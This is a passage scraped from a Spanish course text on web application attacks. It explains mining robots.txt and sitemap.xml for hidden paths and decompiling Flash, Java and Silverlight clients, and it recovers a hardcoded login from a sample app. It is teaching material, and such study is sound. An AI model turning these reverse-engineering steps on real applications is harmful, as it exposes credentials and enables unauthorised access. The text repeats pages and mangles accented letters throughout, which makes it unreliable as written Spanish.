HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 66: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 67: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 68: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 69: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

